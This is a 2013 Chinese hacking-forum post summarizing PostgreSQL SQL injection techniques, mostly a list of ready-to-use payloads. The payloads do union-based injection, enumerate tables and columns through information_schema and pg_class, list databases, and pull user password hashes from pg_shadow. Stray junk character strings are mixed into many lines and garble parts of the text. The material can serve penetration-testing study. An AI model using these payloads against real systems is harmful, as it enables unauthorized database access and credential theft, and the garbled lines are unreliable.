找回密码
 立即注册
查看: 2722|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点7 n6 S- _" w7 i

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/! c! i2 U% y1 m# {: V
连接符: %20 , + , /**/

内置函数:
" i3 o5 N/ x, ~" \" p3 b3 {current_database() //当前数据库名: R3 |' H) N/ ?9 o( [
session_user //会话用户2 w; l5 e4 d* d5 U. H
current_user //当前数据库用户9 B/ I$ @, @" H' H+ @5 W! g
user //当前用户
# t$ k! U9 U) K) V+ c  q. hversion() //数据库版本

Union注射:
7 F$ e8 p; K/ S$ [( ^& torder by n–
. {) S! Z- x% R8 k, Q* Tand 1=2 union select null,null,null–
/ n, n& s& ^( K: Jand 1=2 union select ‘beach’,null,null–% ~# y: E2 b/ b/ b; j9 ]
and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
/ U' P; o" @" d- d- _4 Jgroup_concat(table_name)' b8 _9 P& c* V) |
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–$ c; _" E6 \1 z( a7 S% L/ z, l. K  M
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
5 e9 G6 I. Q: K6 }+ Y1 `(老版本), ~( T9 ?4 y) s& }6 }) Z# T
pg_class.oid对应pg_attribute.attrelid: o: P) T1 }/ y
pg_class.relname表名0 s! `2 ?  |  o
pg_attribute.attname字段名

select relname from pg_class获取表名8 C2 t2 q# [4 c6 A9 G1 C
select oid from pg_class where 条件 获取参数
, b( ^% X2 F+ P) u) A( \9 fselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:0 g* {+ \1 x  r" ~
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
1 y8 R+ U" [) L1 p; z0 mand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
; z5 i4 s: b* |' [$ l: M+ c9 O( j- p' I由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名$ m8 h$ U' S! l0 K
======================================================================
  S7 W: [. v) wand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库! B4 P4 K6 F8 G
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表